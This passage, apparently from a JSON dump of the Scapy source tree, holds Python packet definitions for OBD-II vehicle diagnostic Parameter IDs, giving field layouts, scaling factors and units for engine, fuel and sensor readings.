pid=0x38)\nbind_layers(OBD_S02_PR_Record, OBD_PID39, pid=0x39)\nbind_layers(OBD_S02_PR_Record, OBD_PID3A, pid=0x3A)\nbind_layers(OBD_S02_PR_Record, OBD_PID3B, pid=0x3B)\nbind_layers(OBD_S02_PR_Record, OBD_PID3C, pid=0x3C)\nbind_layers(OBD_S02_PR_Record, OBD_PID3D, pid=0x3D)\nbind_layers(OBD_S02_PR_Record, OBD_PID3E, pid=0x3E)\nbind_layers(OBD_S02_PR_Record, OBD_PID3F, pid=0x3F)\nbind_layers(OBD_S02_PR_Record, OBD_PID40, pid=0x40)\nbind_layers(OBD_S02_PR_Record, OBD_PID41, pid=0x41)\nbind_layers(OBD_S02_PR_Record, OBD_PID42, pid=0x42)\nbind_layers(OBD_S02_PR_Record, OBD_PID43, pid=0x43)\nbind_layers(OBD_S02_PR_Record, OBD_PID44, pid=0x44)\nbind_layers(OBD_S02_PR_Record, OBD_PID45, pid=0x45)\nbind_layers(OBD_S02_PR_Record, OBD_PID46, pid=0x46)\nbind_layers(OBD_S02_PR_Record, OBD_PID47, pid=0x47)\nbind_layers(OBD_S02_PR_Record, OBD_PID48, pid=0x48)\nbind_layers(OBD_S02_PR_Record, OBD_PID49, pid=0x49)\nbind_layers(OBD_S02_PR_Record, OBD_PID4A, pid=0x4A)\nbind_layers(OBD_S02_PR_Record, OBD_PID4B, pid=0x4B)\nbind_layers(OBD_S02_PR_Record, OBD_PID4C, pid=0x4C)\nbind_layers(OBD_S02_PR_Record, OBD_PID4D, pid=0x4D)\nbind_layers(OBD_S02_PR_Record, OBD_PID4E, pid=0x4E)\nbind_layers(OBD_S02_PR_Record, OBD_PID4F, pid=0x4F)\nbind_layers(OBD_S02_PR_Record, OBD_PID50, pid=0x50)\nbind_layers(OBD_S02_PR_Record, OBD_PID51, pid=0x51)\nbind_layers(OBD_S02_PR_Record, OBD_PID52, pid=0x52)\nbind_layers(OBD_S02_PR_Record, OBD_PID53, pid=0x53)\nbind_layers(OBD_S02_PR_Record, OBD_PID54, pid=0x54)\nbind_layers(OBD_S02_PR_Record, OBD_PID55, pid=0x55)\nbind_layers(OBD_S02_PR_Record, OBD_PID56, pid=0x56)\nbind_layers(OBD_S02_PR_Record, OBD_PID57, pid=0x57)\nbind_layers(OBD_S02_PR_Record, OBD_PID58, pid=0x58)\nbind_layers(OBD_S02_PR_Record, OBD_PID59, pid=0x59)\nbind_layers(OBD_S02_PR_Record, OBD_PID5A, pid=0x5A)\nbind_layers(OBD_S02_PR_Record, OBD_PID5B, pid=0x5B)\nbind_layers(OBD_S02_PR_Record, OBD_PID5C, pid=0x5C)\nbind_layers(OBD_S02_PR_Record, OBD_PID5D, pid=0x5D)\nbind_layers(OBD_S02_PR_Record, OBD_PID5E, pid=0x5E)\nbind_layers(OBD_S02_PR_Record, OBD_PID5F, pid=0x5F)\nbind_layers(OBD_S02_PR_Record, OBD_PID60, pid=0x60)\nbind_layers(OBD_S02_PR_Record, OBD_PID61, pid=0x61)\nbind_layers(OBD_S02_PR_Record, OBD_PID62, pid=0x62)\nbind_layers(OBD_S02_PR_Record, OBD_PID63, pid=0x63)\nbind_layers(OBD_S02_PR_Record, OBD_PID64, pid=0x64)\nbind_layers(OBD_S02_PR_Record, OBD_PID65, pid=0x65)\nbind_layers(OBD_S02_PR_Record, OBD_PID66, pid=0x66)\nbind_layers(OBD_S02_PR_Record, OBD_PID67, pid=0x67)\nbind_layers(OBD_S02_PR_Record, OBD_PID68, pid=0x68)\nbind_layers(OBD_S02_PR_Record, OBD_PID69, pid=0x69)\nbind_layers(OBD_S02_PR_Record, OBD_PID6A, pid=0x6A)\nbind_layers(OBD_S02_PR_Record, OBD_PID6B, pid=0x6B)\nbind_layers(OBD_S02_PR_Record, OBD_PID6C, pid=0x6C)\nbind_layers(OBD_S02_PR_Record, OBD_PID6D, pid=0x6D)\nbind_layers(OBD_S02_PR_Record, OBD_PID6E, pid=0x6E)\nbind_layers(OBD_S02_PR_Record, OBD_PID6F, pid=0x6F)\nbind_layers(OBD_S02_PR_Record, OBD_PID70, pid=0x70)\nbind_layers(OBD_S02_PR_Record, OBD_PID71, pid=0x71)\nbind_layers(OBD_S02_PR_Record, OBD_PID72, pid=0x72)\nbind_layers(OBD_S02_PR_Record, OBD_PID73, pid=0x73)\nbind_layers(OBD_S02_PR_Record, OBD_PID74, pid=0x74)\nbind_layers(OBD_S02_PR_Record, OBD_PID75, pid=0x75)\nbind_layers(OBD_S02_PR_Record, OBD_PID76, pid=0x76)\nbind_layers(OBD_S02_PR_Record, OBD_PID77, pid=0x77)\nbind_layers(OBD_S02_PR_Record, OBD_PID78, pid=0x78)\nbind_layers(OBD_S02_PR_Record, OBD_PID79, pid=0x79)\nbind_layers(OBD_S02_PR_Record, OBD_PID7A, pid=0x7A)\nbind_layers(OBD_S02_PR_Record, OBD_PID7B, pid=0x7B)\nbind_layers(OBD_S02_PR_Record, OBD_PID7C, pid=0x7C)\nbind_layers(OBD_S02_PR_Record, OBD_PID7D, pid=0x7D)\nbind_layers(OBD_S02_PR_Record, OBD_PID7E, pid=0x7E)\nbind_layers(OBD_S02_PR_Record, OBD_PID7F, pid=0x7F)\nbind_layers(OBD_S02_PR_Record, OBD_PID80, pid=0x80)\nbind_layers(OBD_S02_PR_Record, OBD_PID81, pid=0x81)\nbind_layers(OBD_S02_PR_Record, OBD_PID82, pid=0x82)\nbind_layers(OBD_S02_PR_Record, OBD_PID83, pid=0x83)\nbind_layers(OBD_S02_PR_Record, OBD_PID84, pid=0x84)\nbind_layers(OBD_S02_PR_Record, OBD_PID85, pid=0x85)\nbind_layers(OBD_S02_PR_Record, OBD_PID86, pid=0x86)\nbind_layers(OBD_S02_PR_Record, OBD_PID87, pid=0x87)\nbind_layers(OBD_S02_PR_Record, OBD_PID88, pid=0x88)\nbind_layers(OBD_S02_PR_Record, OBD_PID89, pid=0x89)\nbind_layers(OBD_S02_PR_Record, OBD_PID8A, pid=0x8A)\nbind_layers(OBD_S02_PR_Record, OBD_PID8B, pid=0x8B)\nbind_layers(OBD_S02_PR_Record, OBD_PID8C, pid=0x8C)\nbind_layers(OBD_S02_PR_Record, OBD_PID8D, pid=0x8D)\nbind_layers(OBD_S02_PR_Record, OBD_PID8E, pid=0x8E)\nbind_layers(OBD_S02_PR_Record, OBD_PID8F, pid=0x8F)\nbind_layers(OBD_S02_PR_Record, OBD_PID90, pid=0x90)\nbind_layers(OBD_S02_PR_Record, OBD_PID91, pid=0x91)\nbind_layers(OBD_S02_PR_Record, OBD_PID92, pid=0x92)\nbind_layers(OBD_S02_PR_Record, OBD_PID93, pid=0x93)\nbind_layers(OBD_S02_PR_Record, OBD_PID94, pid=0x94)\nbind_layers(OBD_S02_PR_Record, OBD_PID98, pid=0x98)\nbind_layers(OBD_S02_PR_Record, OBD_PID99, pid=0x99)\nbind_layers(OBD_S02_PR_Record, OBD_PID9A, pid=0x9A)\nbind_layers(OBD_S02_PR_Record, OBD_PID9B, pid=0x9B)\nbind_layers(OBD_S02_PR_Record, OBD_PID9C, pid=0x9C)\nbind_layers(OBD_S02_PR_Record, OBD_PID9D, pid=0x9D)\nbind_layers(OBD_S02_PR_Record, OBD_PID9E, pid=0x9E)\nbind_layers(OBD_S02_PR_Record, OBD_PID9F, pid=0x9F)\nbind_layers(OBD_S02_PR_Record, OBD_PIDA0, pid=0xA0)\nbind_layers(OBD_S02_PR_Record, OBD_PIDA1, pid=0xA1)\nbind_layers(OBD_S02_PR_Record, OBD_PIDA2, pid=0xA2)\nbind_layers(OBD_S02_PR_Record, OBD_PIDA3, pid=0xA3)\nbind_layers(OBD_S02_PR_Record, OBD_PIDA4, pid=0xA4)\nbind_layers(OBD_S02_PR_Record, OBD_PIDA5, pid=0xA5)\nbind_layers(OBD_S02_PR_Record, OBD_PIDA6, pid=0xA6)\nbind_layers(OBD_S02_PR_Record, OBD_PIDC0, pid=0xC0)\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/pid/pids_00_1F.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.d.korb@gmail.com>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\nfrom scapy.fields import BitEnumField, BitField, ScalingField, \\\n    FlagsField, XByteEnumField, PacketField\nfrom scapy.contrib.automotive.obd.packet import OBD_Packet\nfrom scapy.contrib.automotive.obd.services import OBD_DTC\n\n\n# See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information\n# PID = Parameter IDentification\n\nclass OBD_PID00(OBD_Packet):\n    name = \"PID_00_PIDsSupported\"\n\n    fields_desc = [\n        FlagsField('supported_pids', b'', 32, [\n            'PID20',\n            'PID1F',\n            'PID1E',\n            'PID1D',\n            'PID1C',\n            'PID1B',\n            'PID1A',\n            'PID19',\n            'PID18',\n            'PID17',\n            'PID16',\n            'PID15',\n            'PID14',\n            'PID13',\n            'PID12',\n            'PID11',\n            'PID10',\n            'PID0F',\n            'PID0E',\n            'PID0D',\n            'PID0C',\n            'PID0B',\n            'PID0A',\n            'PID09',\n            'PID08',\n            'PID07',\n            'PID06',\n            'PID05',\n            'PID04',\n            'PID03',\n            'PID02',\n            'PID01'\n        ])\n    ]\n\n\nclass OBD_PID01(OBD_Packet):\n    name = \"PID_01_MonitorStatusSinceDtcsCleared\"\n\n    onOff = {\n        0: 'off',\n        1: 'on'\n    }\n\n    fields_desc = [\n        BitEnumField('mil', 0, 1, onOff),\n        BitField('dtc_count', 0, 7),\n\n        BitField('reserved1', 0, 1),\n        FlagsField('continuous_tests_ready', 0, 3, [\n            'misfire',\n            'fuelSystem',\n            'components'\n        ]),\n\n        BitField('reserved2', 0, 1),\n        FlagsField('continuous_tests_supported', 0, 3, [\n            'misfire',\n            'fuel_system',\n            'components'\n        ]),\n\n        FlagsField('once_per_trip_tests_supported', 0, 8, [\n            'egr',\n            'oxygenSensorHeater',\n            'oxygenSensor',\n            'acSystemRefrigerant',\n            'secondaryAirSystem',\n            'evaporativeSystem',\n            'heatedCatalyst',\n            'catalyst'\n        ]),\n\n        FlagsField('once_per_trip_tests_ready', 0, 8, [\n            'egr',\n            'oxygenSensorHeater',\n            'oxygenSensor',\n            'acSystemRefrigerant',\n            'secondaryAirSystem',\n            'evaporativeSystem',\n            'heatedCatalyst',\n            'catalyst'\n        ])\n    ]\n\n\nclass OBD_PID02(OBD_Packet):\n    name = \"PID_02_FreezeDtc\"\n    fields_desc = [\n        PacketField('dtc', b'', OBD_DTC)\n    ]\n\n\nclass OBD_PID03(OBD_Packet):\n    name = \"PID_03_FuelSystemStatus\"\n\n    loopStates = {\n        0x00: 'OpenLoopInsufficientEngineTemperature',\n        0x02: 'ClosedLoop',\n        0x04: 'OpenLoopEngineLoadOrFuelCut',\n        0x08: 'OpenLoopDueSystemFailure',\n        0x10: 'ClosedLoopWithFault'\n    }\n\n    fields_desc = [\n        XByteEnumField('fuel_system1', 0, loopStates),\n        XByteEnumField('fuel_system2', 0, loopStates)\n    ]\n\n\nclass OBD_PID04(OBD_Packet):\n    name = \"PID_04_CalculatedEngineLoad\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=100 / 255., unit=\"%\")\n    ]\n\n\nclass OBD_PID05(OBD_Packet):\n    name = \"PID_05_EngineCoolantTemperature\"\n    fields_desc = [\n        ScalingField('data', 0, unit=\"deg. C\", offset=-40.0)\n    ]\n\n\nclass OBD_PID06(OBD_Packet):\n    name = \"PID_06_ShortTermFuelTrimBank1\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=100 / 128.,\n                     unit=\"%\", offset=-100.0)\n    ]\n\n\nclass OBD_PID07(OBD_Packet):\n    name = \"PID_07_LongTermFuelTrimBank1\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=100 / 128.,\n                     unit=\"%\", offset=-100.0)\n    ]\n\n\nclass OBD_PID08(OBD_Packet):\n    name = \"PID_08_ShortTermFuelTrimBank2\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=100 / 128.,\n                     unit=\"%\", offset=-100.0)\n    ]\n\n\nclass OBD_PID09(OBD_Packet):\n    name = \"PID_09_LongTermFuelTrimBank2\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=100 / 128.,\n                     unit=\"%\", offset=-100.0)\n    ]\n\n\nclass OBD_PID0A(OBD_Packet):\n    name = \"PID_0A_FuelPressure\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=3, unit=\"kPa\")\n    ]\n\n\nclass OBD_PID0B(OBD_Packet):\n    name = \"PID_0B_IntakeManifoldAbsolutePressure\"\n    fields_desc = [\n        ScalingField('data', 0, unit=\"kPa\")\n    ]\n\n\nclass OBD_PID0C(OBD_Packet):\n    name = \"PID_0C_EngineRpm\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=1 / 4., unit=\"min-1\", fmt=\"H\")\n    ]\n\n\nclass OBD_PID0D(OBD_Packet):\n    name = \"PID_0D_VehicleSpeed\"\n    fields_desc = [\n        ScalingField('data', 0, unit=\"km/h\")\n    ]\n\n\nclass OBD_PID0E(OBD_Packet):\n    name = \"PID_0E_TimingAdvance\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=1 / 2., unit=\"deg.\", offset=-64.0)\n    ]\n\n\nclass OBD_PID0F(OBD_Packet):\n    name = \"PID_0F_IntakeAirTemperature\"\n    fields_desc = [\n        ScalingField('data', 0, unit=\"deg. C\", offset=-40.0)\n    ]\n\n\nclass OBD_PID10(OBD_Packet):\n    name = \"PID_10_MafAirFlowRate\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=1 / 100., unit=\"g/s\")\n    ]\n\n\nclass OBD_PID11(OBD_Packet):\n    name = \"PID_11_ThrottlePosition\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=100 / 255., unit=\"%\")\n    ]\n\n\nclass OBD_PID12(OBD_Packet):\n    name = \"PID_12_CommandedSecondaryAirStatus\"\n\n    states = {\n        0x00: 'upstream',\n        0x02: 'downstreamCatalyticConverter',\n        0x04: 'outsideAtmosphereOrOff',\n        0x08: 'pumpCommanded'\n    }\n\n    fields_desc = [\n        XByteEnumField('data', 0, states)\n    ]\n\n\nclass OBD_PID13(OBD_Packet):\n    name = \"PID_13_OxygenSensorsPresent\"\n    fields_desc = [\n        FlagsField('sensors_present', b'', 8, [\n            'Bank1Sensor1',\n            'Bank1Sensor2',\n            'Bank1Sensor3',\n            'Bank1Sensor4',\n            'Bank2Sensor1',\n            'Bank2Sensor2',\n            'Bank2Sensor3',\n            'Bank2Sensor4'\n        ])\n    ]\n\n\nclass _OBD_PID14_1B(OBD_Packet):\n    fields_desc = [\n        ScalingField('outputVoltage', 0, scaling=0.005, unit=\"V\"),\n        ScalingField('trim', 0, scaling=100 / 128.,\n                     unit=\"%\", offset=-100)\n    ]\n\n\nclass OBD_PID14(_OBD_PID14_1B):\n    name = \"PID_14_OxygenSensor1\"\n\n\nclass OBD_PID15(_OBD_PID14_1B):\n    name = \"PID_15_OxygenSensor2\"\n\n\nclass OBD_PID16(_OBD_PID14_1B):\n    name = \"PID_16_OxygenSensor3\"\n\n\nclass OBD_PID17(_OBD_PID14_1B):\n    name = \"PID_17_OxygenSensor4\"\n\n\nclass OBD_PID18(_OBD_PID14_1B):\n    name = \"PID_18_OxygenSensor5\"\n\n\nclass OBD_PID19(_OBD_PID14_1B):\n    name = \"PID_19_OxygenSensor6\"\n\n\nclass OBD_PID1A(_OBD_PID14_1B):\n    name = \"PID_1A_OxygenSensor7\"\n\n\nclass OBD_PID1B(_OBD_PID14_1B):\n    name = \"PID_1B_OxygenSensor8\"\n\n\nclass OBD_PID1C(OBD_Packet):\n    name = \"PID_1C_ObdStandardsThisVehicleConformsTo\"\n\n    obdStandards = {\n        0x01: 'OBD-II as defined by the CARB',\n        0x02: 'OBD as defined by the EPA',\n        0x03: 'OBD and OBD-II',\n        0x04: 'OBD-I',\n        0x05: 'Not OBD compliant',\n        0x06: 'EOBD (Europe)',\n        0x07: 'EOBD and OBD-II',\n        0x08: 'EOBD and OBD',\n        0x09: 'EOBD, OBD and OBD II',\n        0x0A: 'JOBD (Japan)',\n        0x0B: 'JOBD and OBD II',\n        0x0C: 'JOBD and EOBD',\n        0x0D: 'JOBD, EOBD, and OBD II',\n        0x0E: 'Reserved',\n        0x0F: 'Reserved',\n        0x10: 'Reserved',\n        0x11: 'Engine Manufacturer Diagnostics (EMD)',\n        0x12: 'Engine Manufacturer Diagnostics Enhanced (EMD+)',\n        0x13: 'Heavy Duty On-Board Diagnostics (Child/Partial) (HD OBD-C)',\n        0x14: 'Heavy Duty On-Board Diagnostics (HD OBD)',\n        0x15: 'World Wide Harmonized OBD (WWH OBD)',\n        0x16: 'Reserved',\n        0x17: 'Heavy Duty Euro OBD Stage I without NOx control (HD EOBD-I)',\n        0x18: 'Heavy Duty Euro OBD Stage I with NOx control (HD EOBD-I N)',\n        0x19: 'Heavy Duty Euro OBD Stage II without NOx control (HD EOBD-II)',\n        0x1A: 'Heavy Duty Euro OBD Stage II with NOx control (HD EOBD-II N)',\n        0x1B: 'Reserved',\n        0x1C: 'Brazil OBD Phase 1 (OBDBr-1)',\n        0x1D: 'Brazil OBD Phase 2 (OBDBr-2)',\n        0x1E: 'Korean OBD (KOBD)',\n        0x1F: 'India OBD I (IOBD I)',\n        0x20: 'India OBD II (IOBD II)',\n        0x21: 'Heavy Duty Euro OBD Stage VI (HD EOBD-IV)',\n    }\n\n    fields_desc = [\n        XByteEnumField('data', 0, obdStandards)\n    ]\n\n\nclass OBD_PID1D(OBD_Packet):\n    name = \"PID_1D_OxygenSensorsPresent\"\n    fields_desc = [\n        FlagsField('sensors_present', 0, 8, [\n            'Bank1Sensor1',\n            'Bank1Sensor2',\n            'Bank2Sensor1',\n            'Bank2Sensor2',\n            'Bank3Sensor1',\n            'Bank3Sensor2',\n            'Bank4Sensor1',\n            'Bank4Sensor2'\n        ])\n    ]\n\n\nclass OBD_PID1E(OBD_Packet):\n    name = \"PID_1E_AuxiliaryInputStatus\"\n    fields_desc = [\n        BitField('reserved', 0, 7),\n        BitEnumField('pto_status', 0, 1, OBD_PID01.onOff)\n    ]\n\n\nclass OBD_PID1F(OBD_Packet):\n    name = \"PID_1F_RunTimeSinceEngineStart\"\n    fields_desc = [\n        ScalingField('data', 0, unit=\"s\", fmt=\"H\")\n    ]\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/pid/pids_20_3F.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.d.korb@gmail.com>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\nfrom scapy.fields import FlagsField, ScalingField\nfrom scapy.contrib.automotive.obd.packet import OBD_Packet\n\n\n# See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information\n# PID = Parameter IDentification\n\n\nclass OBD_PID20(OBD_Packet):\n    name = \"PID_20_PIDsSupported\"\n    fields_desc = [\n        FlagsField('supported_pids', 0, 32, [\n            'PID40',\n            'PID3F',\n            'PID3E',\n            'PID3D',\n            'PID3C',\n            'PID3B',\n            'PID3A',\n            'PID39',\n            'PID38',\n            'PID37',\n            'PID36',\n            'PID35',\n            'PID34',\n            'PID33',\n            'PID32',\n            'PID31',\n            'PID30',\n            'PID2F',\n            'PID2E',\n            'PID2D',\n            'PID2C',\n            'PID2B',\n            'PID2A',\n            'PID29',\n            'PID28',\n            'PID27',\n            'PID26',\n            'PID25',\n            'PID24',\n            'PID23',\n            'PID22',\n            'PID21'\n        ])\n    ]\n\n\nclass OBD_PID21(OBD_Packet):\n    name = \"PID_21_DistanceTraveledWithMalfunctionIndicatorLampOn\"\n    fields_desc = [\n        ScalingField('data', 0, unit=\"km\", fmt=\"H\")\n    ]\n\n\nclass OBD_PID22(OBD_Packet):\n    name = \"PID_22_FuelRailPressure\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.079, unit=\"kPa\", fmt=\"H\")\n    ]\n\n\nclass OBD_PID23(OBD_Packet):\n    name = \"PID_23_FuelRailGaugePressure\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=10, unit=\"kPa\", fmt=\"H\")\n    ]\n\n\nclass _OBD_PID24_2B(OBD_Packet):\n    fields_desc = [\n        ScalingField('equivalence_ratio', 0, scaling=0.0000305, fmt=\"H\"),\n        ScalingField('voltage', 0, scaling=0.000122, unit=\"V\", fmt=\"H\")\n    ]\n\n\nclass OBD_PID24(_OBD_PID24_2B):\n    name = \"PID_24_OxygenSensor1\"\n\n\nclass OBD_PID25(_OBD_PID24_2B):\n    name = \"PID_25_OxygenSensor2\"\n\n\nclass OBD_PID26(_OBD_PID24_2B):\n    name = \"PID_26_OxygenSensor3\"\n\n\nclass OBD_PID27(_OBD_PID24_2B):\n    name = \"PID_27_OxygenSensor4\"\n\n\nclass OBD_PID28(_OBD_PID24_2B):\n    name = \"PID_28_OxygenSensor5\"\n\n\nclass OBD_PID29(_OBD_PID24_2B):\n    name = \"PID_29_OxygenSensor6\"\n\n\nclass OBD_PID2A(_OBD_PID24_2B):\n    name = \"PID_2A_OxygenSensor7\"\n\n\nclass OBD_PID2B(_OBD_PID24_2B):\n    name = \"PID_2B_OxygenSensor8\"\n\n\nclass OBD_PID2C(OBD_Packet):\n    name = \"PID_2C_CommandedEgr\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=100 / 255., unit=\"%\")\n    ]\n\n\nclass OBD_PID2D(OBD_Packet):\n    name = \"PID_2D_EgrError\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=100 / 128.,\n                     unit=\"%\", offset=-100.0)\n    ]\n\n\nclass OBD_PID2E(OBD_Packet):\n    name = \"PID_2E_CommandedEvaporativePurge\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=100 / 255., unit=\"%\")\n    ]\n\n\nclass OBD_PID2F(OBD_Packet):\n    name = \"PID_2F_FuelTankLevelInput\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=100 / 255., unit=\"%\")\n    ]\n\n\nclass OBD_PID30(OBD_Packet):\n    name = \"PID_30_WarmUpsSinceCodesCleared\"\n    fields_desc = [\n        ScalingField('data', 0)\n    ]\n\n\nclass OBD_PID31(OBD_Packet):\n    name = \"PID_31_DistanceTraveledSinceCodesCleared\"\n    fields_desc = [\n        ScalingField('data', 0, unit=\"km\", fmt=\"H\")\n    ]\n\n\nclass OBD_PID32(OBD_Packet):\n    name = \"PID_32_EvapSystemVaporPressure\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.25, unit=\"Pa\", fmt=\"h\")\n    ]\n\n\nclass OBD_PID33(OBD_Packet):\n    name = \"PID_33_AbsoluteBarometricPressure\"\n    fields_desc = [\n        ScalingField('data', 0, unit=\"kPa\")\n    ]\n\n\nclass _OBD_PID34_3B(OBD_Packet):\n    fields_desc = [\n        ScalingField('equivalence_ratio', 0, scaling=0.0000305, fmt=\"H\"),\n        ScalingField('current', 0, scaling=0.00390625, unit=\"mA\", fmt=\"H\")\n    ]\n\n\nclass OBD_PID34(_OBD_PID34_3B):\n    name = \"PID_34_OxygenSensor1\"\n\n\nclass OBD_PID35(_OBD_PID34_3B):\n    name = \"PID_35_OxygenSensor2\"\n\n\nclass OBD_PID36(_OBD_PID34_3B):\n    name = \"PID_36_OxygenSensor3\"\n\n\nclass OBD_PID37(_OBD_PID34_3B):\n    name = \"PID_37_OxygenSensor4\"\n\n\nclass OBD_PID38(_OBD_PID34_3B):\n    name = \"PID_38_OxygenSensor5\"\n\n\nclass OBD_PID39(_OBD_PID34_3B):\n    name = \"PID_39_OxygenSensor6\"\n\n\nclass OBD_PID3A(_OBD_PID34_3B):\n    name = \"PID_3A_OxygenSensor7\"\n\n\nclass OBD_PID3B(_OBD_PID34_3B):\n    name = \"PID_3B_OxygenSensor8\"\n\n\nclass OBD_PID3C(OBD_Packet):\n    name = \"PID_3C_CatalystTemperatureBank1Sensor1\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.1, unit=\"deg. C\",\n                     offset=-40.0, fmt=\"H\")\n    ]\n\n\nclass OBD_PID3D(OBD_Packet):\n    name = \"PID_3D_CatalystTemperatureBank2Sensor1\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.1, unit=\"deg. C\",\n                     offset=-40.0, fmt=\"H\")\n    ]\n\n\nclass OBD_PID3E(OBD_Packet):\n    name = \"PID_3E_CatalystTemperatureBank1Sensor2\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.1, unit=\"deg. C\",\n                     offset=-40.0, fmt=\"H\")\n    ]\n\n\nclass OBD_PID3F(OBD_Packet):\n    name = \"PID_3F_CatalystTemperatureBank2Sensor2\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.1, unit=\"deg. C\",\n                     offset=-40.0, fmt=\"H\")\n    ]\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/pid/pids_40_5F.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.d.korb@gmail.com>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\nfrom scapy.fields import ByteEnumField, BitField, FlagsField, XByteField, \\\n    ScalingField, ThreeBytesField\nfrom scapy.contrib.automotive.obd.packet import OBD_Packet\n\n\n# See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information\n# PID = Parameter IDentification\n\n\nclass OBD_PID40(OBD_Packet):\n    name = \"PID_40_PIDsSupported\"\n    fields_desc = [\n        FlagsField('supported_pids', 0, 32, [\n            'PID60',\n            'PID5F',\n            'PID5E',\n            'PID5D',\n            'PID5C',\n            'PID5B',\n            'PID5A',\n            'PID59',\n            'PID58',\n            'PID57',\n            'PID56',\n            'PID55',\n            'PID54',\n            'PID53',\n            'PID52',\n            'PID51',\n            'PID50',\n            'PID4F',\n            'PID4E',\n            'PID4D',\n            'PID4C',\n            'PID4B',\n            'PID4A',\n            'PID49',\n            'PID48',\n            'PID47',\n            'PID46',\n            'PID45',\n            'PID44',\n            'PID43',\n            'PID42',\n            'PID41'\n        ])\n    ]\n\n\nclass OBD_PID41(OBD_Packet):\n    name = \"PID_41_MonitorStatusThisDriveCycle\"\n    onOff = {\n        0: 'off',\n        1: 'on'\n    }\n\n    fields_desc = [\n        XByteField('reserved', 0),\n\n        BitField('reserved1', 0, 1),\n        FlagsField('continuous_tests_ready', 0, 3, [\n            'misfire',\n            'fuelSystem',\n            'components'\n        ]),\n\n        BitField('reserved2', 0, 1),\n        FlagsField('continuous_tests_supported', 0, 3, [\n            'misfire',\n            'fuelSystem',\n            'components'\n        ]),\n\n        FlagsField('once_per_trip_tests_supported', 0, 8, [\n            'egr',\n            'oxygenSensorHeater',\n            'oxygenSensor',\n            'acSystemRefrigerant',\n            'secondaryAirSystem',\n            'evaporativeSystem',\n            'heatedCatalyst',\n            'catalyst'\n        ]),\n\n        FlagsField('once_per_trip_tests_ready', 0, 8, [\n            'egr',\n            'oxygenSensorHeater',\n            'oxygenSensor',\n            'acSystemRefrigerant',\n            'secondaryAirSystem',\n            'evaporativeSystem',\n            'heatedCatalyst',\n            'catalyst'\n        ])\n    ]\n\n\nclass OBD_PID42(OBD_Packet):\n    name = \"PID_42_ControlModuleVoltage\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.001, unit=\"V\", fmt=\"H\")\n    ]\n\n\nclass OBD_PID43(OBD_Packet):\n    name = \"PID_43_AbsoluteLoadValue\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=100 / 255., unit=\"%\", fmt=\"H\")\n    ]\n\n\nclass OBD_PID44(OBD_Packet):\n    name = \"PID_44_FuelAirCommandedEquivalenceRatio\"\n    fields_desc = [\n        ScalingField('data', 0, scaling=0.0000305, fmt=\"H\")\n    ]\n\n\nclass _OBD_PercentPacket(OBD_Packet):\n    fields_desc = [\n        ScalingField('data', 0, scaling=100 / 255., unit=\"%\")\n    ]\n\n\nclass OBD_PID45(_OBD_PercentPacket):\n    name = \"PID_45_RelativeThrottlePosition\"\n\n\nclass OBD_PID46(OBD_Packet):\n    name = \"PID_46_AmbientAirTemperature\"\n    fields_desc = [\n        ScalingField('data', 0, unit=\"deg. C\", offset=-40.0)\n    ]\n\n\nclass OBD_PID47(_OBD_PercentPacket):\n    name = \"PID_47_AbsoluteThrottlePositionB\"\n\n\nclass OBD_PID48(_OBD_PercentPacket):\n    name = \"PID_48_AbsoluteThrottlePositionC\"\n\n\nclass OBD_PID49(_OBD_PercentPacket):\n    name = \"PID_49_AcceleratorPedalPositionD\"\n\n\nclass OBD_PID4A(_OBD_PercentPacket):\n    name = \"PID_4A_AcceleratorPedalPositionE\"\n\n\nclass OBD_PID4B(_OBD_PercentPacket):\n    name = \"PID_4B_AcceleratorPedalPositionF\"\n\n\nclass OBD_PID4C(_OBD_PercentPacket):\n    name = \"PID_4C_CommandedThrottleActuator\"\n\n\nclass OBD_PID4D(OBD_Packet):\n    name = \"PID_4D_TimeRunWithMilOn\"\n    fields_desc = [\n        ScalingField('data', 0, unit=\"min\", fmt=\"H\")\n    ]\n\n\nclass OBD_PID4E(OBD_Packet):\n    name = \"PID_4E_TimeSinceTroubleCodesCleared\"\n    fields_desc = [\n        ScalingField('data', 0, unit=\"min\", fmt=\"H\")\n    ]\n\n\nclass OBD_PID4F(OBD_Packet):\n    name = \"PID_4F_VariousMaxValues\"\n    fields_desc = [\n        ScalingField('equivalence_ratio', 0),\n        ScalingField('sensor_voltage', 0, unit=\"V\"),\n        ScalingField('sensor_current', 0, unit=\"mA\"),\n        